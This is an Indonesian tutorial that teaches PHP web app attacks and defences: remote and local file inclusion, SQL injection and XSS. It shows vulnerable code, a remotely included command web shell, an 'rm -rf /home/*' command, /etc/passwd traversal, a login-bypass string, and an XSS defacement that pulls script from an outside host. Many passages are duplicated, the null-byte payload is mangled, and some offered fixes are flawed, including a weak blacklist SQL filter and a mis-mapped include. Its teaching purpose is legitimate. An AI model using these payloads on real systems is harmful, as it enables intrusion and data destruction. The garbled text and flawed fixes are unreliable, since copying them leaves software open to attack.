Mengingat banyak banget yang tanya tentang cara ngehack website, saya
coba buat artikel sederhana yang semoga bisa memperjelas cara melakukan
penyerangan sekaligus cara bertahan untuk teman2 developer. Bagi yang
pemula seperti penulism silahkan dibaca-baca dulu, klo ga ngerti jangan
malu bertanya, dan bagi yang sudah om mohon bimbingannya.
Dalam artikel yang sederhana ini, kita akan membahas tentang kelemahan sebuah aplikasi website dan apa yang salah pada developer sehingga website tersebut menjadi rentan terhadap serangan sekaligus dan beberapa cara untuk mengeksploitasi dan bagaimana untuk mempertahankannya.
Sesuatu yang sebelumnya harus kita ketahui terlebih dahulu sebelum masuk ke dalam inti artikel ini :
- Vulnerability : Sebuah celah keamanan yang dapat dimanfaatkan untuk mengubah cara sebuah aplikasi website / perangkat lunak bekerja / berfungsi.
- CMS : Singkatan dari Content Management System. Misalnya seperti Blog, Forum, dan lain-lain. Biasanya menggunakan database untuk menyimpan info pengguna, posting artikel, pesan dan sebagainya, dan sebagian besar menggunakan server MySQL.
- RFI [ Remote File Inclusion ] : Celah ini memungkinkan penyerang untuk memasukkan file secara remote ( dari server lain). Biasanya dieksekusi langsung melalui sebuah script pada server web yang vulnerable.
- LFI [ Local File Inclusion ] : Hampir sama seperti RFI, perbedaannya hanyalah script yang dapat dipanggil / dieksekusi harus 1 server dengan website tersebut.
- SQL Injection : memasukan query SQL untuk melakukan bypass atau mendapatkan info2 dari database tersebut. Celah keamanan ini paling sering ditemukan di website.
- XSS [ Cross Site Scripting ] : Adalah jenis celah keamanan yang memungkinkan penyerang untuk memasukan script secara client side ke dalam halaman web yang dilihat oleh pengguna lain. Biasanya digunakan oleh penyerang untuk mem-bypass akses atau pencurian cookie.
-
Oke, sekarang kita akan belajar untuk setiap celah keamanan tersebut dan melihat apa yang salah dengan kode tersebut sehingga menjadi sangat rentan terhadap serangan...
RFI :: Remote File Inclusion
Dieksploitasi dengan memasukkan script dari situs lain ke situs yang terinfeksi, misalnya kita dapat menyertakan PHP-Shell, dan atau mengeksekusi perintah pada server yang rentan tersebut. Celah ini sangat berbahaya dan sebuah situs yang rentan dapat diacak-acak dengan mudah...
Catatan :
http:// wrapper harus aktif pada konfigurasi server dengan allow_url_include=On pada php.ini
allow_url_fopen=on (PHP < 5.2.0)
allow_url_include=on (PHP >= 5.2.0)
Dalam artikel yang sederhana ini, kita akan membahas tentang kelemahan sebuah aplikasi website dan apa yang salah pada developer sehingga website tersebut menjadi rentan terhadap serangan sekaligus dan beberapa cara untuk mengeksploitasi dan bagaimana untuk mempertahankannya.
Sesuatu yang sebelumnya harus kita ketahui terlebih dahulu sebelum masuk ke dalam inti artikel ini :
- Vulnerability : Sebuah celah keamanan yang dapat dimanfaatkan untuk mengubah cara sebuah aplikasi website / perangkat lunak bekerja / berfungsi.
- CMS : Singkatan dari Content Management System. Misalnya seperti Blog, Forum, dan lain-lain. Biasanya menggunakan database untuk menyimpan info pengguna, posting artikel, pesan dan sebagainya, dan sebagian besar menggunakan server MySQL.
- RFI [ Remote File Inclusion ] : Celah ini memungkinkan penyerang untuk memasukkan file secara remote ( dari server lain). Biasanya dieksekusi langsung melalui sebuah script pada server web yang vulnerable.
- LFI [ Local File Inclusion ] : Hampir sama seperti RFI, perbedaannya hanyalah script yang dapat dipanggil / dieksekusi harus 1 server dengan website tersebut.
- SQL Injection : memasukan query SQL untuk melakukan bypass atau mendapatkan info2 dari database tersebut. Celah keamanan ini paling sering ditemukan di website.
- XSS [ Cross Site Scripting ] : Adalah jenis celah keamanan yang memungkinkan penyerang untuk memasukan script secara client side ke dalam halaman web yang dilihat oleh pengguna lain. Biasanya digunakan oleh penyerang untuk mem-bypass akses atau pencurian cookie.
-
Exploit : script yang dibuat untuk memanfaatkan sebuah celah keamanan.
Oke, sekarang kita akan belajar untuk setiap celah keamanan tersebut dan melihat apa yang salah dengan kode tersebut sehingga menjadi sangat rentan terhadap serangan...
RFI :: Remote File Inclusion
Dieksploitasi dengan memasukkan script dari situs lain ke situs yang terinfeksi, misalnya kita dapat menyertakan PHP-Shell, dan atau mengeksekusi perintah pada server yang rentan tersebut. Celah ini sangat berbahaya dan sebuah situs yang rentan dapat diacak-acak dengan mudah...
Catatan :
http:// wrapper harus aktif pada konfigurasi server dengan allow_url_include=On pada php.ini
allow_url_fopen=on (PHP < 5.2.0)
allow_url_include=on (PHP >= 5.2.0)
Contoh kode yang dapat dimanfaatkan untuk celah ini :
PHP Code:
<?php
if (isset(
$_GET
[
'page'
])) {
include(
$_GET
[
'page'
]);
}
?>
Seperti yang bisa kita lihat, kita
mengambil variabel 'page' kemudian di include-kan ke website.
misalnya :
Code:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=includes/contact.inc
ini akan memanggil dan mengeksekusi
contact.inc pada folder 'includes'.
tapi, apa yang membuatnya berbahaya?
Katakanlah file malcode.txt yang berada di http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt memiliki kode berikut:
tapi, apa yang membuatnya berbahaya?
Katakanlah file malcode.txt yang berada di http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt memiliki kode berikut:
PHP Code:
<?php
if (isset(
$_POST
[
'cmd'
])) {
@
system
(
$_POST
[
'cmd'
]);
}
echo
"
<form method='POST'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>"
;
?>
Contoh serangan :
Code:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt
apa yang terjadi kemudian? Kode akan
terlihat seperti ini:
PHP Code:
<?php
if (isset(
$_GET
[
'page'
])) {
include(
'http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt'
);
}
?>
file teks yang akan dimasukkan akan
dijalankan sebagai kode php.
Sebuah kotak teks kecil akan muncul pada halaman website dengan sebuah tombol, yang akan mengeksekusi perintah ke sistem...
jika dia cukup 'wewenang', ia dapat melakukan hal berikut:
Sebuah kotak teks kecil akan muncul pada halaman website dengan sebuah tombol, yang akan mengeksekusi perintah ke sistem...
jika dia cukup 'wewenang', ia dapat melakukan hal berikut:
Code:
rm -rf /home/*
dan... *puffff* file2 di bawah folder home hilang...
beberapa developer berpikir mereka dapat memperbaiki celah tersebut dengan melakukan hal berikut:
PHP Code:
<?php
$page
=
NULL
;
if ( isset (
$_GET
[
'page'
]) ) {
$page
=
$_GET
[
'page'
] .
".inc"
;
}
if (isset(
$page
)) {
include(
$page
);
}
?>
Cara ini, Anda hanya dapat menyertakan
file .inc.
Code:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-little-filter.php?page=includes/contact
namun, itu tidak akan menghentikan beberapa orang! Ada sesuatu yang disebut NullByte yang membuat PHP untuk mengabaikan apapun setelah NullByte tersebut... jika seseorang ingin mengeksploitasi kode tersebut, penyerang akan melakukan:
Code:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
ATAU bahkan hanya dengan [?] (Tanda tanya) pada akhir file.
Code:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
Seperti yang Anda lihat, [] adalah NullByte, yang kemudian code tersebut akan menjadi seperti berikut :
PHP Code:
<?php
$page
=
NULL
;
if ( isset (
$_GET
[
'page'
]) ) {
$page
=
$_GET
[
'page'
] .
".inc"
;
}
if (isset(
$page
)) {
include(
'http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?'
);
// ignoring anything after the NullByte, which is in this case, the .inc
}
?>
Jadi sekarang pertanyaannya adalah:
bagaimana caranya agar hal tersebut dapat diatasi ?
Kita dapat menggunakan fungsi switch. Dengan cara ini, apa pun selain apa yang telah disebutkan pada fungsi switch tersebut tidak akan disertakan.
Contoh :
Kita dapat menggunakan fungsi switch. Dengan cara ini, apa pun selain apa yang telah disebutkan pada fungsi switch tersebut tidak akan disertakan.
Contoh :
PHP Code:
<?php
if ( isset(
$_GET
[
'page'
]) ) {
switch (
$_GET
[
'page'
]) {
case
'about'
:
include(
'includes/about.inc'
);
// if the page was about, get the about.inc contents...
break;
case
'contact'
:
include(
'includes/about.inc'
);
// and so on :)
break;
default:
include(
'includes/index.inc'
);
// the default page to include, if the page variable was not found, or it was a hack attempt :)
break;
}
}
?>
LFI
Mirip seperti RFI, perbedaannya adalah LFI hanya mendapatkan file dari server tersebut.
RFI menjadi LFI ketika http:// wrapper dinonaktifkan ( allow_url_include = Off ) pada php.ini
Contoh :
Mirip seperti RFI, perbedaannya adalah LFI hanya mendapatkan file dari server tersebut.
RFI menjadi LFI ketika http:// wrapper dinonaktifkan ( allow_url_include = Off ) pada php.ini
Contoh :
Code:
http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../etc/passwd
http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../var/log/apache2/error.log
dan seterusnya...
SQL injection
Sekarang pindah ke SQL injection. Seorang penyerang akan mengeksploitasi kode yang memiliki celah SQL Injection tersebut dengan melewati proteksi login atau dengan menyuntikkan Query melalui URL sehingga mereka dapat mengeksekusi query MySQL, untuk mendapatkan akses informasi pengguna, username, password dan sebagainya ...
contoh kode yang vulnerable:
SQL injection
Sekarang pindah ke SQL injection. Seorang penyerang akan mengeksploitasi kode yang memiliki celah SQL Injection tersebut dengan melewati proteksi login atau dengan menyuntikkan Query melalui URL sehingga mereka dapat mengeksekusi query MySQL, untuk mendapatkan akses informasi pengguna, username, password dan sebagainya ...
contoh kode yang vulnerable:
PHP Code:
<?php
$host
=
"localhost"
;
$user
=
"ditatompel"
;
$pass
=
"ditacaem"
;
$database
=
"webhack_example"
;
mysql_connect
(
$host
,
$user
,
$pass
);
mysql_select_db
(
$database
);
if ( isset(
$_POST
[
'submit'
]) ) {
$username
=
$_POST
[
'username'
];
$password
=
md5
(
$_POST
[
'password'
]);
if ( empty(
$_POST
[
'username'
]) ) {
echo
"Username Empty"
;
}
else {
$query
=
"SELECT * FROM user WHERE username = '
$username
' AND password = '
$password
' LIMIT 1"
;
$result
=
mysql_query
(
$query
);
if (
$result
) {
$result2
=
mysql_num_rows
(
$result
);
if (
$result2
>
0
) {
echo
"LOGIN SUCCESS, You will be redirect to admin page in blah blah blah"
;
}
else {
echo
"LOGIN FAILED! USERNAME PASSWORD DID NOT MATCH!"
;
}
}
}
}
?>
<form method="POST">
Username : <input type="text" name="username" />
Password : <input type="password" name="password" />
<input type="submit" name="submit" value="Login" />
</form>
Sekarang kita dapat melihat bahwa kode
tersebut mengambil variable 'username' dan 'password'
dan mengeksekusinya tanpa filterisasi sedikitpun!
katakanlah username dan password yang valid adalah admin:admin
Normalnya validasi login akan seperti berikut:
katakanlah username dan password yang valid adalah admin:admin
Normalnya validasi login akan seperti berikut:
Code:
SELECT * FROM
user WHERE username = 'admin' AND password =
'21232f297a57a5a743894a0e4a801fc3' LIMIT 1
Injeksi Query :
Cobalah untuk menggunakan username sebagai berikut :
Code:
whatever' or 1=1
-- '
Query MySQL akan berudah menjadi sebagai berikut :
Code:
SELECT * FROM
user WHERE username = 'whatever' or 1=1 -- '' AND password =
'md5('admin')' LIMIT 1
NB : Query setelah tanda [ -- ] ( Comment SQL ) akan diabaikan sehingga nilai dari query tersebut selalu bernilai true.
Sekarang kita tahu apa yang 'salah' pada kode tersebut, yaitu tidak adanya filterisasi pada karakter-karakter berbahaya seperti [ ' ] , [ - ] dan sebagainya.
PHP Code:
<?php
$host
=
"localhost"
;
$user
=
"ditatompel"
;
$pass
=
"ditacaem"
;
$database
=
"webhack_example"
;
function
clean
(
$val
){
$danger
= array(
"*"
,
"/"
,
"'"
,
"="
);
// add your self here
$clean
=
''
;
for(
$i
=
0
;
$i
<=
strlen
(
$val
);
$i
++){
if(!
in_array
(
substr
(
$val
,
$i
,
1
),
$danger
)){
$clean
.=
substr
(
$val
,
$i
,
1
);
}
}
for(
$i
=
0
;
$i
<
count
(
$danger
);
$i
++){
$clean
=
str_replace
(
$danger
[
$i
],
""
,
$clean
);
}
return
$clean
;
}
@
mysql_connect
(
$host
,
$user
,
$pass
);
@
mysql_select_db
(
$database
);
if ( isset(
$_POST
[
'submit'
]) ) {
$username
=
clean
(
$_POST
[
'username'
]);
$password
=
md5
(
$_POST
[
'password'
]);
if ( empty(
$_POST
[
'username'
]) ) {
echo
"Username Empty"
;
}
else {
$query
=
"SELECT * FROM user WHERE username = '
$username
' AND password = '
$password
' LIMIT 1"
;
$result
= @
mysql_query
(
$query
);
if (
$result
) {
$result2
= @
mysql_num_rows
(
$result
);
if (
$result2
>
0
) {
echo
"LOGIN SUCCESS, You will be redirect to admin page in blah blah blah"
;
}
else {
echo
"LOGIN FAILED! USERNAME PASSWORD DID NOT MATCH!"
;
}
}
}
}
?>
<form method="POST">
Username : <input type="text" name="username" />
Password : <input type="password" name="password" />
<input type="submit" name="submit" value="Login" />
</form>
that is it, the code is more better
now.
XSS
sekarang pindah ke XSS,
Seberapa berbahaya serangan XSS ini? Tergantung pada seberapa kreatif penyerang tersebut melakukan aksinya
dan celah ini benar-benar masalah besar ketika menjadi permanen
XSS.
Contoh XSS permanen dapat berada dalam guestbook, komentar, mailing list, dll ..
Apa yang dapat penyerang lakukan melalui celah ini :
Penyerang dapat menggunakan javascript untuk mengubah judul, bentuk tampilan, pencurian cookies dll.
beberapa CMS dan Forum, menggunakan cookies dan menyimpan info pengguna di dalamnya, jika situs yang rentan terhadap XSS, penyerang dapat memperoleh akses admin dengan mencuri cookie admin ...
Contoh kode yang rentan akan terlihat seperti ini:
sekarang pindah ke XSS,
Seberapa berbahaya serangan XSS ini? Tergantung pada seberapa kreatif penyerang tersebut melakukan aksinya
Contoh XSS permanen dapat berada dalam guestbook, komentar, mailing list, dll ..
Apa yang dapat penyerang lakukan melalui celah ini :
Penyerang dapat menggunakan javascript untuk mengubah judul, bentuk tampilan, pencurian cookies dll.
beberapa CMS dan Forum, menggunakan cookies dan menyimpan info pengguna di dalamnya, jika situs yang rentan terhadap XSS, penyerang dapat memperoleh akses admin dengan mencuri cookie admin ...
Contoh kode yang rentan akan terlihat seperti ini:
PHP Code:
<?php
if (isset(
$_POST
[
'message'
])) {
echo
"Thank you, your message has been posted!"
;
echo
"<br />"
;
echo
$_POST
[
'message'
];
}
?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form>
Penyerang dapat melakukan dengan
mengisikan input HTML sebagai berikut
Code:
<style>body
{ background-color:#000; color:#00FF00; } form { display:none;
}</style>
<script>alert('HACKED');</script>
<h1>HACKED
BY SOMEONE</h1>
atau injeksi script javascript dari
situs lain
Code:
<iframe
name="iframex" id="iframex" src="hidden"
style="display:none"></iframe>
<script
src="http://example.com/malcode.js"></script>
Contoh untuk filterisasi XSS :
PHP Code:
<?php
function
netral
(
$text
){
$text
=
htmlspecialchars
(
$text
,
ENT_QUOTES
);
return
$text
;
}
if (isset(
$_POST
[
'message'
])) {
echo
"Thank you, your message has been posted!"
;
echo
"<br />"
;
echo
netral
(
$_POST
[
'message'
]);
}
?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form>
Ok, mungkin sampai di sini dulu artikelnya. Saya harap teman-teman
menikmati artikel saya tulis dan belajar sesuatu yang baru...
Untuk metode lain seperti CSRF dll menyusul yaa..
perlu diingat bahwa kode-kode saya berikan di atas tidak cukup aman! Anda dapat memperbaikinya sendiri. Silahkan gunakan imajinasi 'terliar' anda :)
Untuk script2 vulns nya bisa didownload di http://go.webdatasolusindo.co.id/files/b...actice.zip
Pakainya di lokal aja ya.. Jangan diupload ke server..
Sumber
Referensi untuk dibaca-baca:
http://en.wikipedia.org/wiki/Remote_file_inclusion
http://www.exploit-db.com/download_pdf/13678/
http://en.wikipedia.org/wiki/SQL_injection
http://www.unixwiz.net/techtips/sql-injection.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.steve.org.uk/Security/XSS/Tutorial/
Untuk metode lain seperti CSRF dll menyusul yaa..
perlu diingat bahwa kode-kode saya berikan di atas tidak cukup aman! Anda dapat memperbaikinya sendiri. Silahkan gunakan imajinasi 'terliar' anda :)
Untuk script2 vulns nya bisa didownload di http://go.webdatasolusindo.co.id/files/b...actice.zip
Pakainya di lokal aja ya.. Jangan diupload ke server..
Sumber
Referensi untuk dibaca-baca:
http://en.wikipedia.org/wiki/Remote_file_inclusion
http://www.exploit-db.com/download_pdf/13678/
http://en.wikipedia.org/wiki/SQL_injection
http://www.unixwiz.net/techtips/sql-injection.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.steve.org.uk/Security/XSS/Tutorial/